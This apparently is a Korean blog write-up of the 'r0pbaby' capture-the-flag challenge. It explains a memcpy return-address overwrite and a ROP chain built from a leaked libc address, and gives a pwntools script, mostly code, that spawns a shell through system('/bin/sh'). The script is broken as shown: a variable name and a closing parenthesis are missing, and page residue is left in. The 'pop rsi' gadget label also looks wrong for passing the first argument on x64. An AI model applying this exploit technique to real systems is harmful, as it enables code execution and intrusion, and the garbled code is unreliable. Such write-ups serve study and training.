1. Reversing

 여느 때와 다름없이 gdb-peda로 분석했다.

 

 기본적인 rop 기법을 PIE가 걸린 바이너리에서 libc leak이 된 상태에서 적용할 수 있는가를 묻는 문제이다.

 

 매우 간단쓰.

 

 (65 line에서 memcpy를 memset으로 해석해서 어디서 overflow가 나는지 헤맨건 안비밀...)

 

2. Exploit

 

 위에서 말했다 시피 65 line에서 memcpy를 하는데 destinate address가 main영역의 rbp이다. 

 

 여기서 RET overwrite가 일어남.

 

 문제는 64bit 구조라서 함수의 인자를 레지스터에 넣어줘야되서 rop gadget을 구해야되는데...

  

 해당 문제는 PIE가 걸려있어서 base_address를 알아내지 못하는 이상 바이너리의 주소를 구할 수 없다.

 

 따라서 바이너리상에서의 rop gadget말고 libc의 rop gadget을 찾아서 system('/bin/sh')에서의 '/bin/sh'을 

 

 pop rsi; ret; gadget에 넣어줬다!

 

3. slv.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
 
#context.terminal = ['/goorm/tmux', 'splitw', '-h']
= process('./r0pbaby')
#script = '''
#b* memcpy
#'''
#gdb.attach(p,script)
 
p.recv()
p.sendline('2')
p.recv()
p.sendline('system')
 
# libc_leak
leak = int(p.recv().split('0x')[1][:16],16)
log.info('system : ' + hex(leak))
 
addr_system = leak
addr_binsh = addr_system + 0x139fb3
 
# pop rsi; ret;
addr_popret = leak - 0x2398e
 
payload = ''
payload += 'AAAAAAAA'
payload += p64(addr_popret)
payload += p64(addr_binsh)
payload += p64(addr_system)
payload += p64(0xdeadbeefdeadbeef
 
p.sendline('3')
p.recv()
p.sendline(str(len(payload)))
sleep(0.1)
p.sendline(payload)
p.recv()
p.sendline('4')
p.interactive()
 
http://colorscripter.com/info#e" target="_blank" style="color:#4f4f4ftext-decoration:none">Colored by Color Scripter

 

[깨달은 점]

 

1. pwntools gdb attach

 

 주석처리 된대로 tmux terminal에서 해당 코드를 실행시켜주면 된다.

 

 실행시키자마자 화면이 분할되면서 gdb.attach의 인자로 들어간 script내용이 gdb peda에서 실행된다.

 

 좋은 내용 알려준 김범수 상병님께 박수를... 짝짝짝... 

 

2. libc rop gadget

 

 libc rop gadget을 찾기 위해서 find를 이용했는데 다른 툴도 있다고 하니까 사용해보자. (ex rp++)

 

3. __libc_csu_init() in binary

 

 return to dl_reslove x64 버전을 봤는데 __libc_csu_init()을 사용하길래 libc함수를 사용하는 줄 알았는데..

 

 __libc_start_main처럼 binary에 있는 것이였다... 숙지하장..

 

+ Recent posts